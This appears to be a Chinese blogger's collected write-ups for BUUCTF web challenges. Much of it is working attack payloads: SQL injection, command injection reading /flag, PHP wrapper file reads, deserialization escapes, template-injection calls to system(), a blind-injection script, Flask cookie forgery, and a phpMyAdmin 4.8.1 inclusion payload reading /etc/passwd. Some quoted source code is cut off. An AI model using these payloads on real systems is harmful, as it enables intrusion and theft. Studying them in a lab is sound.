之前陆陆续续做过一些题,但都没有记录,这次打算巩固一下,记录下来。
"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "
";
}
?>
最终目标是要利用include
包含ffffllllaaaagggg
,想执行include
就需要
(! empty($_REQUEST['file'])&& is_string($_REQUEST['file'])&& emmm::checkFile($_REQUEST['file']))
这三项都为true
! empty($_REQUEST['file'])
只要输入了就为true
is_string($_REQUEST['file'])
需要输入的是字符串才为true
emmm::checkFile($_REQUEST['file'])
是重点,它调用了emm类中的checkFile方法,输入的参数需要满足白名单也就是source.php
或者hint.php
,并且得包含?
,所以payload为
source.php?file=hint.php?/../../../../../../ffffllllaaaagggg
随便试了一下,秒了
username=admin' or 1=1--+&password='
很经典的一题,堆叠注入,后面还有它的变种:[GYCTF2020]Blacklist
(查库)
1';show databases;#
(查表)
1';show tables;#
(查列)
1';show columns from `words`;
1';show columns from `1919810931114514`;
解法1
发现1919810931114514
表中有flag,而words
表中则是id和data,也就是说它原本是读取words
表中的内容,我们只需要把words
换成1919810931114514
,将id
列换成flag
列就能读取flag了,
1';rename table `words` to `word1`;rename table `1919810931114514` to `words`;alter table `words` change flag id varchar(100);#
然后再1'or 1=1#
就有flag了
解法2
预处理
比如
set @xl='1919810931114514'; 存储表名
set @sql=concat('select * from',@xl); 存储sql语句
char(115,101,108,101,99,116) select
prepare xiaolong from @sql; 预定义sql语句
execute xiaolong; 执行预定义sql语句
测试发现还有strstr
函数,大小写绕过即可
1';SET @sql=concat(char(115,101,108,101,99,116),'* from `1919810931114514`');PREPARE xiaolong from @sql;execute xiaolong;
解法3
用handler代替select
1';handler `1919810931114514`open; handler `1919810931114514` read first;
这也是后面一变种题的解法
傻逼题
?cat=dog
在oracle 缺省支持 通过 ‘ || ’ 来实现字符串拼接,但在mysql 缺省不支持。需要调整mysql 的sql_mode
模式:pipes_as_concat 来实现oracle 的一些功能
1;set sql_mode=PIPES_AS_CONCAT;select 1
非预期
*,1
php伪协议读文件
?file=php://filter/read=convert.base64-encode/resource=flag.php
抓包发现secr3t.php
php伪协议
?file=php://filter/read=convert.base64-encode/resource=flag.php
username=admin'or '1'='1&password=1
登陆后得到密码916ac54a426380d931b6d858656a9090
,但没有flag
尝试报错注入
username=admin
password=916ac54a426380d931b6d858656a9090'and updatexml(1,concat(0x7e,(select database()),0x7e),1)#
916ac54a426380d931b6d858656a9090'and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='geek'),0x7e),1)#
916ac54a426380d931b6d858656a9090'and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'),0x7e),1)#
916ac54a426380d931b6d858656a9090'and updatexml(1,concat(0x7e,(select group_concat(password) from l0ve1ysq1),0x7e),1)#
但updatexml()查询的字符串长度最大为32,所以还要用substr函数来截取
不过其实没这么麻烦,直接联合查询就行
'union select 1,2,group_concat(password) from l0ve1ysq1#
解法1:字符串拼接
?ip=127.0.0.1;s=g;cat$IFS$9fla$s.php
解法2:base64编码
?ip=127.0.0.1;echo$IFS$9Y2F0IGZsYWcucGhw|base64$IFS$9-d|sh
cat flag.php的base64编码为Y2F0IGZsYWcucGhw
echo$IFS$9Y2F0IGZsYWcucGhw的结果为Y2F0IGZsYWcucGhw
echo$IFS$9Y2F0IGZsYWcucGhw|base64$IFS$9-d的结果为cat flag.php
再加上|sh就是执行前面的cat flag.php
解法3:内联执行
?ip=127.0.0.1;cat$IFS$9`ls`
127.0.0.1&cat /flag
菜刀或蚁剑连接
hint.txt
md5(cookie_secret+md5(filename))
如果直接改文件名去访问flag就会跳转到这个页面
error?msg=error
结合题目,应该是要模板注入找到cookie_secret
在handler.settings
可以找到cookie_secret
,这没用过还真不知道
file?filename=/fllllllllllllag&filehash=665a7d61f98ceaa33fc5a07c266c4fc7
php特性
变量名中有空白符->删除空白符
变量名中有特殊字符->转化为下划线
所以传空格num
即可绕过黑名单
然后用scandir
列出文件
?%20num=print_r(scandir(chr(47))); #chr(47)代表/
file_get_contents读取f1agg
file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103));
源码中有Secret.php
,我眼拙没看见,跟个傻逼一样扫了半天
依次修改3个http头
Referer
X-Forwarded-For
User-Agent
www.zip
得到源码
最简单的反序列化
属性个数的值大于实际属性个数,跳过 __wakeup()函数的执行
payload:
index.php?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
注意是private
声明,所以多了%00
Content-Type: image/png
Content-Type: image/jpg
Content-Type: image/gif
这3种都可以
记得文件内容加上GIF98A
双写绕过
'uniunionon selselectect 1,2,group_concat(schema_name) frfromom infoorrmation_schema.schemata#
'uniunionon selselectect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables wherwheree table_schema='ctf'#
'uniunionon selselectect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns wherwheree table_name='Flag'#
'uniunionon selselectect 1,2,group_concat(flag) frfromom ctf.Flag#
上传,phtml
文件
备份文件泄露
访问index.php.bak
因为是弱等于,所以在进行数字与字符串的判断时会先将字符串转成数字
index.php/?key=123
考验一点代码审计
解法1:弱口令
username:admin
password:123
可能是出题人想让我们知道弱口令的重要性吧,不然可就太弱智了~
解法2:unicode欺骗
在改密码界面查看源代码可看到题目的源码地址,下载下来进行审计
在注册这里有个strlower函数
strlower():它将字符串中的所有大写字母转换为小写字母,并返回一个新字符串
但碰到unicode编码例如ᴬᴰᴹᴵᴺ
则会转化为ADMIN
接着看,在登陆处和改变密码处同样用到了strlower
所以思路如下:首先注册时username填ᴬᴰᴹᴵᴺ
,这时会调用strlower
,于是就注册了一个username为ADMIN
的用户,之后再用ᴬᴰᴹᴵᴺ
进行登陆,又调用strlower
,就能以ADMIN
登陆,然后再改密码再一次调用strlower
,把ADMIN
变成了admin
,这就达到了改admin
密码的效果
ᴬᴰᴹᴵᴺ——>ADMIN——>admin
unicode
解法3:flask session伪造
代码审计仔细点可以发现
只需伪造flask-session就可以了,而想要破解session还需要SECRET_KEY
结果发现可以找到
好的,可以搬出脚本伪造session了
解密
python flask_session_cookie_manager3.py decode -c ".eJxF0EFrgz
AYxvGvMnLuYab1IvTQEhtSeF9xxJbkUjZnp29MB2pRU_rdJ73s-Fx-8Pwf7HLtqr5mydDdqxW7NN8sebC3L5YwK9QI1NbZuZiNP7XADy1SPpqwC4aOPjubAFptUMOEsogMuQi99YYUNwFbS260Mo3A2xoFTCAgAO0b5JZA5xx4ERutIuCKg_9whsrFXrYoYktHsmJPIOoGw6mG4GYUB5dJNVmfv4MsZpQqQp2uDaVb9lyxsu-ul-HXVbf_CzINmWidpTJkEtYYfrjRJlifxobqhXcjEjagXQweZivydbbbvrjbp68WYqj6ga3Yva-6VxwWbdjzDwKAZio.YGdC4w.UuujSbZ57GYUFlR44TrsYon-QIs" -s "ckj123"
{'_fresh': True, '_id': b'd2029a9e2bee3ae640c03b2f9f31285314e5b956ffb26c3ef90da52fa43103320b7fc1463e9a253b62ddb70c25059f2cd0c08b75a39241d8b1fd40e24b5517b1', 'csrf_token': b'da389df738c7786a63fa9b8c09063b1992c2d478', 'name': 'test', 'user_id': '14'}
将name
替换成admin
后加密
python flask_session_cookie_manager3.py encode -t "{'_fresh':
True, '_id': b'd2029a9e2bee3ae640c03b2f9f31285314e5b956ffb26c3ef90da52fa43103320b7fc1463e9a253b62ddb70c25059f2cd0c08b75a39241d8b1fd40e24b5517b1', 'csrf_token': b'da389df738c7786a63fa9b8c09063b1992c2d478', 'name': 'admin', 'user_id': '14'}" -s "ckj123"
.eJxF0MGKwjAUheFXGbJ2MY12I7hQUkOEe0uHVLnZiKN12pvGgarURnz3KW5meTYfnP8p9ueuutZifuvu1UTsm5OYP8XHt5gLp0wP3Nb5rhwobFuQ6xa56CkuI_Em5DuKYM0MLTxQlwmxTzC4QGwkRWwd-97pLIHgalTwAAUReNWgdAy2kCDLlKxJQBoJ4csTH0d73KpMHW_YqRWDqhuM2xqiH1Ctfa7Nw4XiE3Q5oDYJ2mxKnC3EayKO1-68v_366vJ_QWcxV613fIy5hinGH0mWogtZSlyPvO-RsQHrUwgwOFVM8-XizV0OoRqJwyk0FzER92vVveuIZCZef2iJZnM.YGdGhg.ZnzMLxyduFAyIf_LJLSFpIWGNmQ
脚本地址
https://github.com/noraj/flask-session-cookie-manager
cookie中user改为1
password=404a
money用数组绕过或科学计数法
用ffifdyop
绕过MD5
然后进入levels91.php
数组绕过
进入levell14.php
依旧数组绕过
上传图片马,文件头加上GIF89A
来绕过
上传.user.ini
,内容为
auto_prepend_file=2.jpg
相当于文件头加上 include(“2.jpg”)
同样加上GIF89A绕过
访问
/uploads/d99081fe929b750e0557f85e6499103f/index.php
".file_get_contents($text,'r')."
";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
text用data协议
或php://input
写入welcome to the zjctf
file用php伪协议读取useless.php
//useless.php
file)){
echo file_get_contents($this->file);
echo "
";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
反序列化读取flag.php
file)){
echo file_get_contents($this->file);
echo "
";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$p=new Flag();
echo serialize($p);
?>
最后的payload记得把file的值改成useless.php
初步测试了一下,过滤了好多,空格、or、and、#、;select等等
尝试了一下后发现可以盲注
写个脚本跑一下(不会对分,跑的巨慢。。。)
import requests
import time
url='http://15abf97a-073f-4075-9700-3267a740f3e0.node3.buuoj.cn/index.php'
flag=""
payload={
"id" : ""
}
for i in range(0,60):
for j in range(1,127):
payload["id"]="1^if(ascii(substr((select(flag)from(flag)),%d,1))=%d,0,1)"%(i,j)
r = requests.post(url,data=payload)
time.sleep(0.01)
if 'Hello' in r.text:
flag = flag+chr(j)
print(flag)
break
print(flag)
报错注入,且过滤了空格,=
'or(updatexml(1,concat(0x7e,(select(database())),0x7e),1))#
'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like('geek'))),0x7e),1))#
'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where((table_name)like('H4rDsq1'))),0x7e),1))#
'or(updatexml(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1)),0x7e),1))#
括号太多了,人都绕傻了
解法1:
联合注入或报错注入+ssrf+反序列化
这waf挺怪的,只需把union和select之间的空格改成/**/就能绕过
no=0 union/**/select 1,database(),3,4
no=0 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema ='fakebook'
no=0 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name ='users'
no=0 union/**/select 1,group_concat(data),3,4 from users
data中数据如下
O:8:"UserInfo":3:{s:4:"name";s:8:"xiaolong";s:3:"age";i:1;s:4:"blog";s:25:"https://xiaolong22333.top";}
然后查看robots.txt
,发现源码
结合data数据及题目,应该是反序列化+ssrf
O:8:"UserInfo":3:{s:4:"name";s:8:"xiaolong";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}
payload:
?no=0%20union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:8:"xiaolong";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
这里说一下为什么在blog处存在ssrf,网上的文章好像都没说,泄露的user.php也没解释
在注册时blog写真实的网站,这里我写了我的blog地址
系统真的去访问了填的的这个blog,也就是说这里可能是这样的
url=https://xiaolong22333.top
这是典型的ssrf
在user.php中如下代码就是调用blog的url去访问
解法2:
通过load_file()函数+报错注入直接读取flag.php
1 and(updatexml(1,concat(1,(select(LOAD_FILE('/var/www/html/flag.php')))),1))
1 and(updatexml(1,concat(1,right((select(LOAD_FILE('/var/www/html/flag.php'))),32)),1))
随便输一下,发现源码中有提示,先base32在base64解码得
select * from user where username = '$name'
mysql在查询没有的数据时会构建一个虚拟的表
也就是说我们查询一个user为admin,pw为123的用户时就创建了这个用户
这题有一个坑点,就是密码是经过MD5加密的,这。。。反正我是想不到
1'union select 1,'admin','202cb962ac59075b964b07152d234b70'#
123MD5后为202cb962ac59075b964b07152d234b70
打开一看,有点吓人,但其实很简单
利用点在这段代码
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
可以用php伪协议读取flag.php
?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}
先传.htaccess
文件,再传图片马,最后蚁剑连接
但我做的时候一直出问题,图片不解析成php,明明是同样的步骤,同样的代码,但就是不同的结果,很难受。
这里我放个网上的wp
[MRCTF2020]你传你呢
[强网杯 2019]随便注的变种,在此基础上还过滤了set|prepare|alter|rename|
1';show tables;
找到表名FlagHere
用handler进行查询
1';handler FlagHere open; handler FlagHere read first;
没什么好说的
?id[]=1&gg[]=2
post
passwd=1234567a
完全就是考察代码编写能力,不会,告辞
PHP escapeshellarg()+escapeshellcmd() 之殇
escapeshellarg:将参数中的字符串两侧加上',并将其中的'进行转义 然后在两侧加上'达到拼接的目的
escapeshellcmd:将参数中的字符串中间的特殊字符转义,并且将落单的'进行转义
nmap命令中 有一个参数-oG可以实现将命令和结果写到文件
我们需要的语句是这样的
-oG shell.php
但经过escapeshellarg后变成了
' -oG shell.php'
这样就变成了字符串,无法执行命令了
而如果我们输入的是这样的呢
' -oG shell.php'
进过escapeshellarg后变成
''\'' -oG shell.php'\'''
然后再经过escapeshellcmd后
''\\'' -oG shell.php'\\'''
拼接上去后相当于
nmap -T5 -sT -Pn --host-timeout 2 -F \ -oG shell.php\\
但这样文件就会变成shell.php\\
,且前面还会被转义
所以需要加个空格,前后各一个
payload
?host=' -oG shell.php '
知识盲区,虽然操作简单,但完全不明白,正在学java,等学了一段时间再回来看看
先放上大佬的wp
RoarCTF2019web题-easy_java writeup
传.hatccess
文件和图片马,和MRCTF那题一样
.git
泄露,直接GitHack读取源码
";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>
需要传入无参数的命令,无参数文件读取
?exp=print_r(scandir(current(localeconv())));
然后array_reverse
逆转数组,next()函数进行下一个值的读取
?exp=print_r(next(array_reverse(scandir(current(localeconv())))));
读取flag.php
?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));
robots.txt中有phpinfo.php,不过好像没啥用
dirsearch能扫出phpadmin(我扫不出来。。。很难受)
访问发现版本为4.8.1
,搜索发现有任意文件包含漏洞,试试payload
/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../etc/passwd
/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../flag
结合hint.php
中Do you know why i know your ip?
和题目,猜测是X-Forwarded-For
有问题
添加后测试发现存在模板注入
X-Forwarded-For: {
{system('cat /flag')}}
猜测是.git
源码泄露,拿出GitHack,结果下了些没用的文件,还以为做错了,看wp发现就是这么做,但我就是没有下载到flag.php和index.php,emmm,一定是buu的锅。
$y){
$$x = $y;
}
foreach($_GET as $x => $y){
$$x = $$y;
}
foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){
exit($handsome);
}
}
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}
echo "the flag is: ".$flag;
直接说payload
get传参 yds=flag;
或者
get传参 is=flag&flag=flag
先说第一种,经过第一个foreach后
foreach($_GET as $x => $y){
$$x = $$y;
}
变成了$yds=$flag
,满足第二个if语句(参数中没有flag),输出$yds
,也就是$flag
第二种,还是经过这个foreach,变成了$ls=$flag
,然后进入第三个foreach,变成了$flag=$flag
,此时满足第三个if,输出$is
,也就是$flag
这两种做法都没有用到post,当然有的wp中是get+post,有点绕,我实在是搞不明白,研究了一个多小时快搞吐了,太傻逼了。
首先跟zjctf那题一样,data写入或input写入,伪协议读文件
?text=data://text/plain,I have a dream&file=php://filter/read=convert.base64-encode/resource=next.php
$str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
preg_replace的/e模式可以执行代码,也就是我们要传入的是:参数名为正则表达式,参数值为要匹配的字符串。
知识点放上,wp放上,payload放上
深入研究preg_replace与代码执行
wp
payload:
/next.php?\S*=${getFlag()}&cmd=system('cat /flag'); #\S 在php正则表达式中示意匹配所有非空字符,*示意多次匹配
ps:最新版的php移除了preg_replace的/e模式
url的参数值看着像base64,尝试去解密,然后就遇到了一个很坑的地方,我一直解密的那个网站这串base64没解出来,当时就想当然以为可能不是base64,结果就完全不知道要怎么做了。看了wp知道这tm就是base64,我换个解密网站就出来了。所以说
解不出来换个网站,多试几次!!!
解不出来换个网站,多试几次!!!
解不出来换个网站,多试几次!!!
回到题目,经过两次base64后16进制转字符串,得到555.png,那换成flag.php看看,反过来转16进制再base64加密两次
看来不行,那换成index.php,可以base64解密后读到源码
';
die("xixi~ no flag");
} else {
$txt = base64_encode(file_get_contents($file));
echo "";
echo "
";
}
echo $cmd;
echo "
";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "
";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
}
?>
MD5强类型比较,找MD5一样的就行
a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
cmd用\
绕过
cmd=ca\t /flag
发现两个参数,应该是调用了call_user_func
,那尝试读一下源码
func=file_get_contents&p=index.php
func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];
if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>
可以反序列化执行命令
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:4:"ls /";s:4:"func";s:6:"system";}
居然没有flag文件,那搜一下flag在哪
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:17:"find / -name fla*";s:4:"func";s:6:"system";}
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:22:"cat /tmp/flagoefiu4r93";s:4:"func";s:6:"system";}
python的flask,看不懂,不会
最简单的xxe
抓包,增加外部实体
]>
&goodies; 123456
unicode编码安全
买4号马就能得到flag,但只能输入一个字符,找个大于1337的unicode字符就行,比如ↈ
(代表100000)
实际上中文的万,亿,兆也都可以
输入7*7,发现回显为49,应该是Twig的模板注入(Jinja的话为7777777),登陆后抓包,发现user在cookie处,根据提示,注入点为cookie处
根据这篇文章的payload拿flag
{
{_self.env.registerUndefinedFilterCallback("exec")}}{
{_self.env.getFilter("cat /flag")}}
= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}
我们想要的结果
c=system('cat /flag')
但要绕过函数名的限制
利用php中字符串加上括号可被当作函数执行的特性
c=$_GET[a]($_GET[b])&a=system&b=cat /flag
所以现在得想办法构造_GET,下面要用到这些函数
base_convert
进制转换
dechex
10进制转16进制
hex2bin
16进制转字符串
但我们没有hex2bin函数,需要构造
base_convert(37907361743,10,36)=>hex2bin //把10进制的37907361743转为36进制,即为hex2bin
dechex(1598506324)=>"5f474554"
hex2bin("5f474554")=>_GET
即这么一串等于_GET
base_convert(37907361743,10,36)(dechex(1598506324))
然后将这串保存到一个白名单变量中以防太长,同时用{}代替[]
c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{pi}($$pi{abs})
分号后面那串就等于$_GET{pi}($_GET{abs})
最终payload:
c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{pi}($$pi{abs})&pi=system&abs=cat /flag
yu师傅的wp
尝试php伪协议读文件,发现去掉php后缀可以成功
?category=php://filter/read=convert.base64-encode/resource=index
发现只有参数中带有woofers,meowers,index就可以包含
这里有个知识点,php伪协议可以套一层协议,比如convert.base64-encode/index/resource
所以可以这样
?category=php://filter/read=convert.base64-encode/index/resource=flag
或者还可以
?category=php://filter/read=convert.base64-encode/index/resource=index/../flag
@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
url = request.args.get("url")
host = parse.urlparse(url).hostname
if host == 'suctf.cc':
return "我扌 your problem? 111"
parts = list(urlsplit(url))
host = parts[1]
if host == 'suctf.cc':
return "我扌 your problem? 222 " + host
newhost = []
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
parts[1] = '.'.join(newhost)
#去掉 url 中的空格
finalUrl = urlunsplit(parts).split(' ')[0]
host = parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
return urllib.request.urlopen(finalUrl).read()
else:
return "我扌 your problem? 333"
前面看的不是很懂,只知道前面两个if不能是suctf.cc,然后经过encode('idna').decode('utf-8')
要等于suctf.cc
大佬的脚本
from urllib.parse import urlparse,urlunsplit,urlsplit
from urllib import parse
def get_unicode():
for x in range(65536):
uni=chr(x)
url="http://suctf.c{}".format(uni)
try:
if getUrl(url):
print("str: "+uni+' unicode: \\u'+str(hex(x))[2:])
except:
pass
def getUrl(url):
url=url
host=parse.urlparse(url).hostname
if host == 'suctf.cc':
return False
parts=list(urlsplit(url))
host=parts[1]
if host == 'suctf.cc':
return False
newhost=[]
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
parts[1]='.'.join(newhost)
finalUrl=urlunsplit(parts).split(' ')[0]
host=parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
return True
else:
return False
if __name__=='__main__':
get_unicode()
file://suctf.cⓒ/../../../../../etc/passwd
然后联系题目,访问nginx的配置文件,目录为usr/local/nginx/conf/nginx.conf
file://suctf.cⓒ/../../../../../usr/local/nginx/conf/nginx.conf
file://suctf.cⓒ/../../../../../usr/fffffflag
source_code';
}
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
看到题目将敏感字符串替换为空,肯定是反序列化字符串逃逸,唉,每次这种题目,我小小的脑瓜子不转个一两个小时根本构造不出来。
先去phpinfo看一下
看到extract($_POST)
,意味着可以变量覆盖,可以传的参数_SESSION[user],_SESSION[function]
我们需要base64_decode($userinfo['img'])=d0g3_f1ag.php
,也就是$userinfo['img']=ZDBnM19mMWFnLnBocA==
,但没法控制img参数,所以要通过反序列化字符串逃逸来达到想要的结果。
class _SESSION{
public $user = 'flagflagflagflagflagflag';
public $function = 'x";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==';
}
$p=new _SESSION();
echo serialize($p);
$serialize_info = filter(serialize($p));
echo "\n";
echo $serialize_info;
这样在经过替换后吃掉了function的值,成功将img的值修改成了ZDBnM19mMWFnLnBocA==
,但此时只有两个参数,而题目有个,所以还要加一个
class _SESSION{
public $user = 'flagflagflagflagflagflag';
public $function = 'x";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"a";s:1:"a";}';
}
$p=new _SESSION();
echo serialize($p);
$serialize_info = filter(serialize($p));
echo "\n";
echo $serialize_info;
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=x";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"a";s:1:"a";}
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=x";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";s:1:"a";s:1:"a";}
还要一种payload
_SESSION[flagphp]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
这样序列化后经过替换结果为
"a:2:{s:7:"";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mbGxsbGxsYWc=";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"
又是php反序列化字符串逃逸~
开局一个登陆框,没有注入,尝试访问register.php,发现可以,注册后登陆,可以填写信息,查看信息。
其实题目源码泄露,www.zip即可下载源码。
审计后发现以下关键代码
//class.php
public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string)
//profile.php
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));
//update.php
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');
我们的最终目的是要通过file_get_contents来读取config.php获得flag,而想让photo=config.php需要通过php反序列化字符串逃逸来完成。
首先nickname的长度限制用数组绕过,然后需要逃逸的字符是";}s:5:"photo";s:10:"config.php";}
(因为nickname为数组了,所以要加一个}
),共34个,一个where替换成hacker会多出一个字符,也就是要34个where
import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
@app.route('/')
def index():
return open(__file__).read()
@app.route('/shrine/')
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{
{% set {}=None%}}'.format(c) for c in blacklist]) + s
return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':
app.run(debug=True)
模板注入,注入点在/shrine/{ {}}
config中应该有flag,但没法直接读取config
可以先读取一波当前位置的全部全局变量
/shrine/{
{url_for.__globals__}}
发现有current_app
查看current_app的config即可得到flag
/shrine/{
{url_for.__globals__['current_app'].config}}
sql注入,注入点在广告名处而不是id处,并且有22个字段。。。
过滤了order by,可用group by代替
1'group/**/by/**/22,'1
-1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
-1'/**/union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
过滤了information,参考这里,可以用sys.schema_auto_increment_columns
来代替information_schema.tables
,schema_table_statistics_with_buffer
来代替information_schema.columns
,但buu上不行,只能无列名注入
不过mysql.innodb_table_stats
倒是可以
-1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name='web1'),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
无列名注入如下图所示
查列得到flag
//将user表的原本的3列名字变成了1,2,3,将第3列别名为b,然后查询b列
-1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
